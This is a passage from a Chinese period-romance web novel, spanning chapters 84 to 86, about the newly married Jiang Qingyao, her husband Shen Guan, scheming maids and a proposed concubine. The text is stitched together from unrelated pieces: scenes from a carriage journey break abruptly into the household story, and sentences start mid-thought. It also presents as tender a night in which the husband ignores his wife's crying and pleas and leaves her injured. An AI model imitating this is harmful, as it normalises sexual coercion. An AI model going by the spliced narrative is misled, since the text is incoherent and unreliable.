沈观来得很快,姜清杳几乎前脚才打发杏子去翰林院寻他,后脚杏子就回来说:“公子已经到影壁了。” 便如来时一样,姜清杳乘小轿到内仪门,又在内仪门换乘沈家的马车,到了影壁处,沈观上了马车。 “你怎么来得这样快?”车厢里,姜清杳疑惑道。 沈观不急着回答,先是仔细打量姜清杳面色,见她如来时一样,只是眼眶有些发红,便将她打横抱至腿上,长臂圈着她,道:“我问过李兄迎亲吉时,估摸着时候差不多了,便早早就来等你了。” 姜清杳心下感动,双臂柔柔揽住他的脖颈,软声道:“多谢夫君。” 沈观挑眉,深眸直视姜清杳,低声道:“要怎样谢?” 姜清杳就知道他会说这些有的没的,便仰头,浅浅在他侧颊上印下一吻。 “还不够。”沈观深眸幽幽。 在姜清杳不明所以的目光下,他俯身在她耳边小小声说了句什么,但见姜清杳两颊迅速飞红,当即就扭着身子要从他身上下来。 沈观口中“嘶”了一下,挺拔的身躯拢下来,紧紧将姜清杳圈在怀中,高而挺直的鼻子埋进她发间,声线暗哑的警告:“别动!” 姜清杳被他禁锢着,感受到身下的……便红着脸伏在他胸前,再不敢乱动了…… 敏锐地捕捉到她话里的关键词。 不知道什么时候启程,也就是不知道要和沈观分开多久。 再去京城找阿爹,也就是即便去京城,找得也不是沈观,而是姜忠元。 少年一时间头晕目眩。 姜清杳看了,觉得高兴一点,还要哼着问他:“怎么了?你要干涉我?” 沈观摇摇头,没说话了。 姜清杳虽好奇,但心里气着,更不会主动找他说话了,别过脑袋就自去洗浴睡觉了。 但是夜里,姜清杳半睡半醒间,总觉得自己睡着的床榻变得格外颠簸。 第 84 章 第 84 章 起初,她迷蒙间还以为是梦,抱着锦被侧过身接着睡,床榻时而平稳,时而颠簸。 姜清杳微微蹙眉,想睁开眼来看看时,半睁着眼,周围昏暗,显是没到早晨的时候,兼之少年凑到她身边来,轻轻拍着她的肩,小声哄她,还很早,再睡一会儿。 沈观的声音。 半睡半醒间的少女显然没有记着前一日的事,只听到他的声音,脸颊蹭蹭软枕,抱着锦被又睡过去。 直到天光大亮,姜清杳才睁开眼坐起来。 往常早上醒来,总要发会儿呆清醒一会儿,这会儿却例外。 姜清杳睁圆眼儿,左看右看,入目是昨天她看过的镖局准备的那辆马车。她睡着的也是马车里安置着的那张小榻。 再掀开车帘一看,已经到了离抚阳好多距离的一处小镇上。 杏子手上一颤,她哪里敢对公子评头论足。 况且她今日吓得不轻,原以为打了银烛二十板子,那事便算过去了,可如今看来,留着她的命,才是让她活受罪。 这会儿少夫人这样问她,杏子心中直打鼓,以为她意有所指,便谨慎答道:“公子待下人赏罚分明,是位公正严明的主子。” 姜清杳瞧杏子面色发白,暗道自己问了句糊涂话,便揉揉额角,又问:“在我没嫁来之前,公子平日里做些什么?” 这问题让杏子松了口气,“公子以前大多时候在书房,有时吃饭睡觉都在书房,并不是日日都回听竹院。” 姜清杳手托香腮,思绪飘渺,原来他以前是这样的。 到了用晚膳的时辰,沈观还没回来,反到是小书童来了。 “少夫人,方才沈延哥哥回来说,公子在永安楼宴请知客幕僚,让您不要等他用膳,夜里或许会回得晚些,让您也不用等他,自己先休息。” 小书童名叫淮序,才留头没多久,看起来约莫八、九岁,讲起话来脆生生的,学着大人那样一板一眼,正正直直地站着回话。 姜清杳瞧他这小大人模样就想笑,便让晴天拿饼子给他吃,问道:“今日上午,公子可有训你?” 淮序虽然学着做大人,但到底还是个孩子,见晴天端来一食盒糖果饼子,眼睛都亮了起来,他就着杏子端来的小凳坐下,捡了块最大的酥饼吃。 “别急,一会儿你走时,我让她们装一包点心给你。”姜清杳抿唇笑道。 淮序小脸上满是欢喜,还知道站起来谢恩,他手拿酥饼,躬身行礼,囫囵道:“多谢少夫人恩典。” 姜清杳捏住帕子掩唇而笑,这小孩,太可爱了。 “公子训我做什么?”淮序黑白分明的瞳仁里满是疑惑,而后天真道:“我瞧公子出来时,脸色是很不好,必定是生那几位先生的气了。” 姜清杳一愣,旋即笑出声来,这还真是个活宝。 内室里的婢女们都忍不住抿嘴笑了,上午晴天她们几个拦都拦不住,这小书童非要敲窗喊公子。 “那公子为什么会生几位先生的气?”姜清杳又问。 淮序咬了一口饼子,道:“那几位先生一直想寻公子说话,还有客院里的其他先生也是一样,都来书房找过公子好几回了。公子早交代了,叫他们有话就写笺子呈到书房去,他看了,自会答复。可如今他们不写笺子,反而天天寻公子,您说公子如何不恼他们。” 夜里,沈观到亥中时分才回来。 他见姜清杳还没睡,一面脱大氅一面问:“你怎的还没睡?不是叫你不必等我,又不听话了。” “我偏要等。”姜清杳撅嘴。 沈观瞧她骄矜的小模样,唇角忍不住上扬,上前几步来到她身前,牵过她的手拢在掌心,温声道:“是,夫人要怎样便怎样,为夫都听你的。” 姜清杳莞尔,闻到他身上微醺的酒气,鼻尖微微皱了皱。 这微小的动作,没逃过沈观的眼睛,他抬手,嗅了嗅袖侧,一股熏人的酒肉烟气。沈观立即松开姜清杳的手,道:“我先去沐浴。” “先把醒酒汤喝了。”姜清杳追在他身后说。 “出来再喝。” 见他已经挑开珠帘进了浴室,姜清杳做罢,吩咐婢女把汤温着,好等他出来喝。 起初还能听到浴室里的水声,到后来,那水声就没了,姜清杳在内室竖起耳朵听了好半响,也不见里头有何动静,心中微微不安,便挑开帘子进去探看。 浴室里烛光微暗,蒸腾的热气中,弥漫着茶香和冷竹香。姜清杳轻轻绕过屏风,就见沈观闭目坐在浴桶中。 他仰头枕在桶沿上,一头墨发悉数散开,柔柔垂在桶外。长睫在烛光照耀中,在眼睑上投落一片暗影,白玉似的脸上因饮酒和热气蒸出一片潮红。他薄唇微微张着,项上喉结突出,流畅的肩颈下,胸膛坚实,肌理分明,热水漫在胸前,两抹茱萸,在水中若影若现。 这模样,琼姿皎皎,醉玉颓山。 姜清杳看得脸红心跳,站在桶边犹豫许久,才深吸一口气,上前轻拍他的肩,“夫君、夫君……” 沈观口中溢出“唔”地一声,迷蒙睁眼,就见姜清杳关切的小脸停在眼前。 “我睡着了?”他声线低哑,说着,在水中坐直身体。 姜清杳移步到他身后,小手按压他的肩颈,柔声道:“我见你半晌不出来,便进来看看。” 今日他早起送自己去李家,而后被幕僚们请去说话,晚上又应酬到这么晚回来,想来一整日都没休息一下。 姜清杳心疼道:“水冷了,你快出来,到床上睡去。”她手上动作不停,按了肩颈,又移去给他按摩太阳穴。 姜清杳手劲儿轻,沈观抬手,覆住姜清杳的手指微微用力。 一时间,浴室里气氛安恬,两人都未说话。姜清杳按摩了好一会儿,才柔声道:“快起来了,水冷了会着凉,到床上了,我再给你按好不好?” 沈观懒懒地不想起,姜清杳便去扯他的手臂,可沈观身高体长的,她哪里扯得动,反到被他一用劲儿,差点掉进浴桶里。 姜清杳心有余悸,怕他故技重施,连连后退,红着脸说了句:“你自己出来吧……”便落荒而逃似的奔出浴室。 沈观望着她的背影,发出一声轻笑,惋惜方才手滑,没有将她扯进来。 水中,他想试一次…… 今夜已经很晚了,沈观从浴室出来后,又熏了发,就更晚了。 姜清杳便想直接睡觉,可他却不依,双手在被子里扯她的衣带,姜清杳的小手压住他的手,柔柔道:“夫君,很晚了,明日你还要早起上值。” 沈观轻松拨开她的手,执拗解衣带,“你上午答应过我的。” 他的手四处惹火,弄得姜清杳颤不成声,“你累了,下、下次吧……” “下次又下次,你说,你欠我多少次了?”沈观将她锢在身下,脑袋埋进她颈窝,沉沉道:“十七次,你说你什么时候补上?” 姜清杳无奈又好笑,他的呼吸热热的喷在脸侧,混合着微微的酒气和冷竹香。 “怎么偏说是我欠你的!”姜清杳不服。 沈观低低笑了声,抬起脸来吻她,贴着她唇边小声道:“好,是为夫欠你的,我现在就还。” 姜清杳呼吸一窒,这是什么强盗逻辑! 夜深雪重,大片莹白沉沉穿过屋后竹林,一时间竹叶扑扑簌簌响彻不歇。竹枝被雪压得弯折,再不能承受更多重量。 一整夜风雪时急时歇,却总也没停过。 翌日姜清杳是被晴天摇醒的。 “小姐,可不能再睡了,要起来吃些东西才行。” 晴天的声音在姜清杳耳边渺渺茫茫,她迷糊睁眼,怔怔半晌,意识才渐渐回笼。 “什么时辰了……”她一开口,才发现自己嗓音异常干涩,喉咙也是干疼的。 “已经午时初刻了。”晴天说着,伸手去扶姜清杳起身。 被面是明霞锦做的,此时姜清杳一坐起来,那锦被便如绸缎般从姜清杳身上滑落,羊脂似的娇躯瞬间暴露。一时间,晴天倒吸凉气。但见那雪肌上红痕遍布,深深浅浅纵横交叠,特别是两处酥山,指痕斑驳,尤为可怖。 昨夜是怎样收场的,姜清杳没有一丝记忆,这会儿惊见自己未着寸缕,还被人看去,一时间又羞又慌,赶忙揽过被子遮在身前。 晴天眼圈忽红,声音都哽咽了,“公子、也太折腾人了。” 姜清杳曲膝而坐,将整张红透的脸埋进被子里,支支吾吾道:“拿身衣裳来给我。” 晴天吸了吸鼻子,转身去拿,小雨倒了茶过来,姜清杳喝了小半盏,才感觉喉咙舒润了些。 姜清杳自己躲在床幔里穿好衣裳,而后被晴天和小雨一左一右扶起,往净室去。她双股颤颤,每走一步就蹙一下眉。 等好不容易收拾妥当,姜清杳坐到桌前时,长舒了一口气。 婢女们鱼贯传菜,姜清杳一瞧,菜色比以往多出许多,满满摆了一桌子。 姜清杳目光诧异看向身旁的晴天,晴天道:“早晨公子出门时,吩咐小厨房做的。” 小雨盛了一碗鸡汤放到姜清杳身前,“小姐,您喝。” 姜清杳玉手执勺,浅浅喝了一口。身上酸疼,饱胀的感觉还在,她望着满桌珍馐咬牙,这次说什么都不理他了! 正想着,他却回来了。 “怎么这时候才吃饭?”沈观说着,脱下银丝素锦披风,走到姜清杳身边坐下,深眸凝在姜清杳脸上,见她对自己一个眼神都欠奉,便尴尬的摸摸鼻尖,凤目觑着她,小声道:“莫非现在才起?” 姜清杳不答他,自顾喝汤。沈观挥手,屏退屋内婢女,起身走到姜清杳身后,俯身将她拥入怀中,“怎么生气了?” 姜清杳被他拥着无法用膳,干脆将小勺一放,木木然坐着,反正就是不理他。 “身上疼不疼?”沈观偏头,薄唇落在姜清杳雪靥上,呼吸洒在她耳边,“我以后不这样了,昨夜没忍住,以后真不这样了。” 姜清杳还是不作声,尽管耳朵被他弄得发痒,她也狠狠忍住不动。 沈观见她如泥塑木雕般,不哭也不骂他,心下便有些慌。他长臂拢过姜清杳身子,将她抱到自己腿上坐下,小小声哄着:“杳儿,你说话呀,打我骂我都行,就是别不理我。” 姜清杳铁了心给他一个教训,任他求了又求,都不瞧他一眼。 沈观心中愈发慌了,“还有十二次,我不要你还了好不好……” “你!”姜清杳被这话气得破功。 什么叫不要她还,她何时欠过他! 她委屈得落泪,昨夜里,任她如何哭喊求饶,他都不放过自己,只哄着她说:“好了、就快了、马上就好了……”却一整晚都没让她合眼。 沈观见她终于哭了出来,一边轻拍她的背,一边哄道:“一会儿我给你上药,我下次再不这样了。”说着,便执起筷子,夹了块鳕鱼放到姜清杳唇边,“我喂你,要生气也等吃饱了饭再打我骂我。” 姜清杳到底就着他的手吃了。 等到用过膳,沈观给她上药时,自己都忍不住深吸了一口气,她一身雪肤,红痕遍染,沈观红了眼角,说话声音都发了颤:“杳儿,我真该死……” 吃饱了才有力气生气,才有力气打沈观,骂沈观,欺负回去沈观。 姜清杳抱着这样的念头,飞快的吃完了早饭。 摸摸肚子,小小的打了个嗝。 好吧。 其实是因为她太饿了。 饿得头都有点晕了。 狼吞虎咽吃完,一旁的少年又及时递上来一个水壶。 姜清杳犹豫一下。 沈观眨眨眼,飞快道:“这是小伍准备的。” 第 85 章 第 85 章 姜清杳接过水壶喝了几口。 她喝过水,唇瓣看着很水润。 沈观多看了两眼,被姜清杳瞪了回去。 不得不说,这次镖局准备的马车的确舒适很多,姜清杳没像往常一样晕了一路,难得有些兴致看沿途风景,偶尔看到新奇的,下意识想转头喊沈观一起看。 说到一半,硬生生止住了,掀开车帘喊坐在马车前的小伍去看。 这样来回两三次,小伍觉得自己快被自家公子的眼神杀死了。 冷脸侍卫寻了个借口跑开。 姜清杳一看他那支支吾吾的模样,立刻转头去看沈观。 “她来寻晴天打络子的。”姜清杳淡淡答了句,沈观也没多想,倾身去拥姜清杳,被她灵巧躲开。 沈观挑眉,总感觉她今日有些怪异,便问:“你怎么了?哪里不高兴了?” 姜清杳一怔,她有这么明显吗? 其实非是姜清杳表现明显,而是沈观对她每个细微的表情,都观察认真,只要她眉头稍稍一拢,或者说话声音低些,他便认为她不高兴了。 “今日早晨小雨跟沈延去将军府送信,李姐姐回信让我去将军府跟她说话,你明日送不送我去?”姜清杳瞅着他问道。 沈观想让她高兴,便道:“好,我明日送你去。” 翌日沈观依旧先去翰林院点卯,而后又折回来送姜清杳去震威将军府。 到将军府影壁,沈观下马车时,温声对姜清杳说:“一会儿你要回去时,打发人去翰林院寻我。” 姜清杳点头,任沈观在她侧颊上轻轻印下一吻。 李相宜亲自在内仪门等着,姜清杳下了马车一眼就看到了她,忙紧走几步上前,在李相宜身前站定,曲膝行礼,唤道:“李姐姐。” 李相宜长相秀美端庄,也上前来握住姜清杳的手,笑道:“还与我这样多礼,快来,正下雪呢,我们上轿子到屋里说话。” 两人乘轿进了内院,随李相宜去拜见将军府老太太和将军夫人,几人说了一盏茶的话,便放姜清杳与李相宜回去自己院子里说体己话。 到了李相宜的院子,姜清杳就感觉放松许多,但看屋内装饰文雅,姜清杳便知这是出自李相宜之手。 “姐姐屋内还是如未嫁时的闺房一般布置,真好,就像还在自己家里一样。”姜清杳环顾周遭,感叹道。 李相宜挽过姜清杳手臂,带她坐到软炕上,笑道:“我又没有那么多灵巧心思,就索性按从前一样了。” 姜清杳莞尔,婢女们来上茶上果盘,两人一时止住话头。 待婢女走后,姜清杳看李相宜身着一袭红装,便凑近过去,小声问:“姐姐成婚了如何?小将军对你好不好呀?” 李相宜被姜清杳带笑的眼睛看得面色微红,羞垂了眸,支吾道:“也、也就那样吧。” 往日李相宜总像个大姐姐似的,姜清杳难得见她害羞,便打趣道:“我看不止就那样吧,定是极好才是。” 李相宜面色更红,一瞪眼,反口问道:“我出嫁时,你说你和沈公子才圆房,究竟是怎么回事?” 姜清杳脸上笑意收了收,便将嫁进沈家的事,一一讲来。“夫君说,新婚夜不同我圆房,是担心我怕他,想让我对他熟悉了,再圆房。” 李相宜听着,没有言语,姜清杳瞧她面色好似有些古怪,好像是、自嘲地笑了一下。只这神情仅仅一瞬,姜清杳也没有在意,只将银烛一家的事讲给她听。 这时但听李相宜道:“这一家子贪得无厌,活该落得如此下场。” “只是才走一个银烛,又来一个语舒。”姜清杳叹息。 李相宜却不问语舒是谁,只说:“妹妹别担心,你将此事告知沈公子,让他将人打发了。” 姜清杳眼波微动,淡淡道:“语舒性子柔,她给夫君当侍妾我是放心的,只她是三房的人,我便不想让她进门了。” 李相宜目露诧异,凑近姜清杳问道:“沈公子那样的人,妹妹竟没动心么?对他纳妾一事看得这样平淡。” 姜清杳摇摇头,缓缓道:“士之耽兮,犹可说也;女之耽兮,不可说也。我还是不要为他动心的好,心不动则不痛。姐姐,今日不是语舒,未来也会有别人,他终归会纳妾的,我日后守着孩子,安稳度日便好。” 李相宜垂眸听着,握住姜清杳的手紧了紧,良久,她唏嘘一声,对姜清杳道:“我不如妹妹多矣。” 姜清杳在将军府和李相宜用了午膳,才派人去翰林院叫沈观来接,沈观在影壁上了马车,见姜清杳神色安恬,他的唇角也跟着微微上翘。 姜清杳等他坐下来,挽住他手臂问道:“你在翰林院用过午膳的吧?” 沈观应声:“用过了。”说着,便将姜清杳抱起来放到自己腿上坐着,他长臂环在她身前,下颌搁在她发顶,叹道:“一会儿我送你回去,还得去东宫一趟。” 姜清杳身子后仰贴着他胸膛,问道:“回来用晚膳么?” “回的。” 沈观这些时日被太子烦得不行,他们沈家是纯臣,他仅仅当了太子的讲经学士,太子便以讲学为由,有事没事将他叫到东宫去,目的是教人以为他们相交甚密,将沈家归顺为太子一党。 沈观怀抱着姜清杳,心中计较,他得想个法子,从东宫脱身才行。 半下午时,语舒又来了,姜清杳出去了一日,回来正睡着,晴天便将语舒请到偏厅,继续教她打络子。 “表嫂身子不适么?”语舒轻声问道。 晴天手上正在分线,听着问话,只垂着脑袋道:“没有,小姐今日去将军府见赵少夫人,想是累了,才回来睡下。” 语舒缓了口气,道:“没有不适便好。” 如此又等到沈观回府,语舒照常向他请安,沈观还是应了个“嗯”字。 尔后几天,沈观下值回来,语舒都在听竹院向他请安,沈观心中怪异,有心想问问姜清杳,却见她神色如往常一般,便当是自己多想了。 这日沈观下值回来,在内院走到小径分岔口,正要折去听竹院,就听路边小亭子里那什么语舒在叫他,“七表哥。” 沈观其实早看到她了,只是不想搭理她,这会子见她喊自己,沈观便将一双幽沉的眸子向她探去。 语舒身着一袭翠绿百褶裙,外配胭脂短袄,她眉眼妆容清淡雅致,唇色却红润,发间珠钗颤颤。她手持一卷书册,从亭内走出,款款向沈观行来。 在沈观疏淡的目光下,语舒停在他身前,将手中书册奉到他眼前,柔声道:“表哥,我新得了一册程畿之的字帖,也不知真假,想请您过目。” 沈观并不接书,面色也只比往日冷清了那么一分,他的目光落在语舒发间珍珠钗上,默了片刻,而后淡淡开口:“你若将心思放在习字上,自然能分得清真假。” 此时天色将暮,暗观在天空中延卷,寒风将冰珠一样的细雪扫在语舒脸上,打得她脸上火辣辣地疼。她已被羞得满脸通红,可沈观还不放过她,“不知你有没有听过一句话,东施效颦反类犬。我们沈家、只养人,不养犬。” 他的声音不大,说话的语气甚至称得上温和,却将语舒击得面色惨白,溃不成军。 沈观说完,看也不看她一眼,便从旁边越过,径直向听竹院走去。 小雨一直躲在藩篱后观察亭子里的语舒,此刻见沈观往听竹院走去,撒腿就先奔回院子里。 姜清杳正在绣竹枝,一抬首,就见小雨鬼鬼祟祟跑进屋,一脸神秘凑到自己耳边:“小姐,方才我看到语舒在前头小径上将公子拦了下来,她递给公子一卷书册,公子没接,后来不知公子跟她说了什么,就见她似乎要哭了的样子。” “公子说了什么?”姜清杳好奇问。 小雨正要说她没听见,余光就瞥见珠帘后一个挺拔的身影,吓得她赶紧从姜清杳身边跳开。 沈观进了内室,姜清杳放下手中刺绣去迎他,笑问:“今日怎么回来得早些了。” 沈观脱下大氅交给一旁的福橘,又接过杏子递来的热巾子净面拭手,一边问:“那个语舒到底是怎么回事?” 姜清杳不料他忽然问起这个,便道:“就是那么回事呗。”在沈观狐疑的目光下,姜清杳淡声道:“前些日子,三婶和周姨妈想让我将语舒接来听竹院,给你做侍妾。” 沈观手上一顿,眼底掠过一丝冰冷,他不露声色道:“那你怎么说?” “我说我做不了你的主,这事要你点头才行。”姜清杳说着,转身,坐到一旁的圈椅上。 沈观神色一舒,将巾帕丢给杏子,走在姜清杳身前,温声道:“方才我已将她打发走了,这种事你不用问我,直接打发了就行。” “其实语舒性子恬静,可她是三房的人,就不能让她进听竹院了。”姜清杳温声道。 沈观一怔,将这句话放在心中反复思量,一时间,好似明白了她的意思,又好似不明白。 姜清杳见他不作声,便仰头去看他,但见他神貌扬扬,器宇落落,心中顿时微微绞痛,她手上捏紧,压了压心神,红唇缓启:“语舒就算了,日后你若有喜欢的女子,只要不牵扯到沈家其他房的人,你告诉我,我替你将她接回来。” 姜清杳见他还是不答话,心中揣测着他的意思,想在他面前做个大度的妻子,便柔声道:“你放心,我不是那等善妒的人,只要你喜欢的,那便带回来,不要养在外面,不成体统的……” 沈观耳中轰鸣阵阵,一双眼睛只能看到她红唇无声启合,她说的话,却从另一个方向刺进他脑子里。他踉跄后退,喉间蓦地涌上一股腥甜。 姜清杳无知无觉,见他不说话,用清亮的双眸望着他,一脸纯然地唤他:“夫君?” 往日,沈观甚爱她的纯净无邪,可如今她与他谈论纳妾之事,面上这毫无怨尤的纯澈,于他却异常残忍。 他终于明白,她无爱便无邪、便无怨、便无占有之心、便能坦然处之。 沈观心间钝痛,他竟然、竟然自负到从未想过,她会不爱他。那些相拥的朝暮,那些抵死的缠绵,竟只是他一个人的沉沦。 是了,她对他温柔缱绻,只因自己是她的夫君,她若嫁给别人,依旧可以像对他那样对别人。 这一刻,沈观竟然想笑,他咽下口中腥甜,艰难开口:“你觉得、我喜欢谁?” 姜清杳怔着,脑子里把沈观说得一堆又一堆的话吸收完,再微微侧眸去看沈观。 少年看似闲散,手垂在身侧,实则紧得人在颤,眼睫不住闪动,观察着姜清杳的反应。 姜清杳觉得她这会儿如果从沈观怀里下去,兴许能看到点新鲜的、或者恼怒,或者可怜的沈观。 姜清杳跃跃欲试。 有些想看看他的反应。会不会气急败坏?会不会伤心泫泪? 少女看了他一眼,低着脑袋想了想,作势要下去。 然而不到半秒,姜清杳失望了,沈观既没有气急败坏也没有伤心泫泪,他像一只早就盯住猎物的豹子,直冲着上来将她整个人提起跨./坐着抱进自己怀里。 第 86 章 第 86 章 几乎是立时。 坐在他怀里的姜清杳涨红了脸往后退。 半天说不出一句完整的话:“沈观!你……”分明两人刚才在谈心呢!那么严肃的事情! 沈观没有阻止,由着姜清杳坐到了他膝头那处,只是揽着她的腰,不许她有任何想从他怀里离开的架势。 收到来自姜清杳的指控,少年笑意盈盈,半点也不避讳少女时不时偷偷瞥来的目光。 沈观还掬起她一点发在指尖,轻嗅了嗅:“清杳用得什么香?” “没有用香。”姜清杳抢回来,理顺了归到肩后,不许沈观碰。 少年看了她一眼,小声:“小气。” 下午时,姜清杳在听竹院的小厨房里,亲自煮了红豆桂花圆子,盛了两盅,细致放入食盒中,外头裹了保温毯,便带着晴天和杏子去往华阳居。 姜清杳想着才嫁过来五日,就让他们母子起了争执,到底不像样。 况且这种事,越僵持着,就越难看,更何况她又是小辈,还是做人儿媳的,总得先低个头、服个软。 姜清杳便想假借送吃食的名义,去问个安,婆母若接受,这事便过了,若还给她立规矩,她大不了回听竹院歇着,才不会傻乎乎的呆站着了。 反正她自己也想吃红豆圆子,暖呼呼,甜糯糯,正适合这天寒地冻的时候吃。 外头风雪已停,院子里,婢妇们三三两两在扫雪。 她们见姜清杳走来,皆停下手中活计,恭敬唤道:“少夫人。” 姜清杳微微颔首,出了听竹院,行到外头园子里,下人们便唤她:“七少夫人。” 沈家这辈男子十二人,序总排行,沈观排第七,上头一个已逝的嫡亲大哥,和同父的四哥、五哥,其余均是二房、三房、四房的堂兄弟。 还有女孩儿,出嫁了的有四位,还有五人待字闺中。 聚居在清河县祖地的族人不知凡几,还有散落在各地为官的沈家人,又不知几多。 这么一个庞大的家族,姜清杳想想便头疼。 华阳居里,沈夫人正歪在炕上,听嬷嬷汇报公中事务,她们这一房,是沈家大房,沈夫人李氏掌管府内开支。 李氏听见外面小丫头报:“少夫人来了。” 忙起身坐到椅子上去,双手拢了拢抹额,确认端庄不失态,便轻咳一声,朝门边望去。 “给母亲请安。”姜清杳进来后,微微屈膝,行了个礼,而后笑道:“今日媳妇嘴馋,自个儿做了甜羹,便想着带来给母亲尝尝。” 李氏听着这话,眸光掠向晴天手中的食盒,嘴角微微向下一撇,算她乖觉,没有恃宠而骄。 “拿来我看看。”李氏慢悠悠道。 姜清杳唇角微勾,心里明白这事算过去了,便亲自端了瓷白小盅放到李氏身侧的桌子上,“母亲,您趁热吃。”说着,递上小瓷勺。 李氏出嫁前是家中嫡长女,下有弟妹,虽然在家里养的娇,却是个忘性不记仇的。 所以遇着不顺的事,她气过之后,明晓其间道理,便很容易自个儿开解了。 不让管,她还不想管呢,谁稀罕!公中各项庶务,还不够她忙么。 如此不带怨愤的看姜清杳,便又发现她实在美得惊人,一颦一笑,娇妍动人,让人怎么都瞧不够。 李氏心中微哂,怪道她那儿子上心。 如此想着,便舀起一勺尝了尝,甜蜜软糯,确实是她这种女孩儿喜欢的吃食。 “我这里有南方来的蜜桔,你带些回去。” 李氏给了台阶便下,说到底,她就剩这么一个亲儿子了,若因这事离了心,那就得不偿失了。 所以在姜清杳走后,银烛的娘亲王嬷嬷试探问纳妾之事时,李氏便有些着恼。 “哪有才新婚就纳妾的,说出去,沈家剩下的这些儿郎还怎么娶亲?” 王嬷嬷见李氏忽然改了口风,心中一愣,又想起昨夜的风言风语,便焦急上火。 于是午后便寻了个由头,回了沈府后巷里的家,想寻她家老头子商量对策。 谁知老头子不在,银烛却回来了。 “你不在少夫人跟前伺候,怎的跑回来了?”王嬷嬷问道。 银烛在家里过得小姐一般,她一进屋,就有小丫头端来热茶。 “她哪里要我伺候,防我跟防贼似的,到是杏子会谄媚巴结,在她跟前比我得脸许多。”银烛气呼呼道。 王嬷嬷瞧她这失意模样,也坐到她身边来,叹气道:“夫人那边又改了口儿……” 于是便把昨夜里听到的几句话,添上自己的猜测,又将今日里的事,桩桩件件拿出来跟女儿分析。 “你说,这得等到什么时候才抬你做姨娘?你已十八了,不小了。” 银烛听着,面色几变,恨恨道:“娘,你不知道她多会来事,不就来个癸水,连夜里折腾个没完,不是这里痛就是那里痛,把公子唬得直心疼,谁知道她是不是装的。” 银烛又啐:“来癸水了,还霸住公子不放,十足的狐媚子!” 王嬷嬷急了,“那可咋整?难道咱就这么干等着?” 银烛有些泄气,她原本以为姜清杳是小家女,还不如她这大家婢,况且外头不是传她故意使心机落水,想着公子必定不喜她。 谁知她竟生成那样,处处都美,又处处都雪白雪白的,银烛一瞧自己这一身微黝的肌肤,更觉无法与之相提并论。 但有一件事,又让她心中隐隐有些期盼,便附到王嬷嬷耳边,絮絮说来。 王嬷嬷听了,一惊,“你说,公子没和她圆房?可是那白帕子上的红印子,可是实打实呈上去给夫人看过的。” 银烛嘴里嚯地一声,斜睨着王嬷嬷,一副看傻子似的表情,“红印子能是多难的事么?胳膊上随意划道口子,不就红了。新婚夜,都没要水呢,公子那样喜洁的一个人,若真圆房了,能不要水?” 王嬷嬷一时听得津津有味,但转念一想,到底他们圆没圆房,别人也管不着啊,这样想着,便说了出来。 银烛抛给王嬷嬷一个白眼,“公子定是不喜她,才不同她圆房,况且她使那样的手段,才嫁进沈家……我若赶在她前头与公子圆房,公子是不是多看重我一些?” 王嬷嬷被唬得一跳,忙让她不要轻举妄动。 银烛不想听她这些老生常谈的话,就问:“我哥哥呢?” 王嬷嬷也才刚回来,但一想儿子无非在那些地方,便道:“他还不就在场子里玩。” 银烛怒火直冒,腾地站起来,“赌赌赌!你们就知道把银子拿给他打水漂,也不晓得给我多做几身衣裳首饰,我穿成这样,公子哪里瞧得上!” 想到姜清杳那成箱成箱的华服,银烛嫉妒得双眼发红。 “好了好了,等你爹回来,让他拿银子给你去买。”见银烛有了些笑意,王嬷嬷又说,“你快去吧,平日里多在公子跟前露脸儿。” 王嬷嬷心想:男人嘛,要了一个,还想要第二个,哪有个够的时候。 姜清杳等着沈观回来用晚膳,左等右等,等得都饿了,他还没回来,便叫小雨热了碗红豆圆子来垫肚子。 正吹着热气吃着,他却回来了。 姜清杳忙搁下小瓷勺,起身到外间去迎他。 沈观是真不用她伺候,况且他从外头进来,身上灌着冷风,别寒着她才是正事。 “你别过来,等我先换身衣裳。”沈观说着,顺着银烛的手,脱下大氅。 相处这几日,姜清杳多少摸到点他的脾性,说一不二,顺着他来就行。 沈观从浴室换了身月白色银丝竹纹长袍出来,见姜清杳跪坐在软炕上,吃着什么东西。 姜清杳听见珠帘颤动声,回头就看见沈观立在身后,这还是第一次见他穿这种淡色的衣裳,比起深沉的官服,又是另一种气质,衣冠胜雪,眉目如画,玉华流转间,似天上皎月。 姜清杳一瞬失神,听见他柔声问:“在吃什么呢?” 姜清杳回神道:“我自己做的红豆圆子,盛一碗来给你尝尝?” 沈观倾身去看四方小桌上的甜食,伸手执起姜清杳用过的瓷勺,舀起一个白圆子,放进嘴里。 姜清杳有些羞,那是她吃过的东西诶…… 银烛震惊地看着沈观的一系列动作,公子喜洁,从不在内室吃东西,也从不吃甜食。 果然,公子尝了一口就放下了,眉梢蹙了起来。 可姜清杳却还天真地问:“好不好吃?是不是太甜了?” 银烛心中冷笑,正等着听公子不悦训斥,却只等来他柔和的一句:“很好。” 银烛见鬼似的瞪大眼睛,目光在两人身上来回扫视。 “好了,你也别吃这些小食了,让她们摆膳吧。” 沈观牵过姜清杳的手,带她来到外间。 姜清杳想问他今日怎么晚回来了,又怕他嫌自己管着他了。 不成想,他一面走,一面说:“对不住,回来晚了,累你等得都饿了,以后到饭点,我若还没回来,你自己先吃,不用等我。” 又言:“太子殿下忽然差人来寻我,我去了趟东宫,这才晚了。” 姜清杳想起,他还担任太子少傅一职,便再次感叹他的惊才绝艳,又想到,这样的人,竟是她的夫君,心里便甜甜的,像灌了蜜一般。 饭后,沈观坐在贵妃塌上看书,姜清杳凑到他身边,“看什么书呢?” 沈观便展开书封给她看,是前朝李晖的《浙北游志》。 这本书姜清杳看过,书中所述优美的自然风光和文人墨客的轶事趣闻,令她颇为神往。当初定亲到扬州,一是因着那户人家是父亲的旧友,二是因着书中描绘的美好生活。 “这书我看过。”姜清杳道。 沈观瞧她鹿眸亮晶晶,极为惊喜的模样,便牵起她的手,让她坐到自己身侧,柔声:“夫人喜欢哪一篇?” 姜清杳便拿过书来翻看,“这本游志我看了好几遍呢,苏堤春晓、罗刹观潮……还有越中饮酒记,都写得极好。” 说到此,姜清杳噗嗤一笑,“你不知道,当初读到越中饮酒记时,还想寻找书中所写的那种酒来尝尝呢?可惜京中没有。” 成婚几日以来,沈观第一次见她说这样多的话,她边说边笑,如花美靥上兴味盎然,一种勃勃生机从身体中流淌出来。 沈观喜欢她这个样子,欢畅而有朝气。 于是便拥着她侧卧在贵妃塌上,故意引导她说了许多话。 最后末了,姜清杳哎呀一声,仰起趴在他胸口的小脑袋,认真道:“差点把正事忘了。” 沈观眉梢一挑,没想起还有什么正事,便问:“何事?” 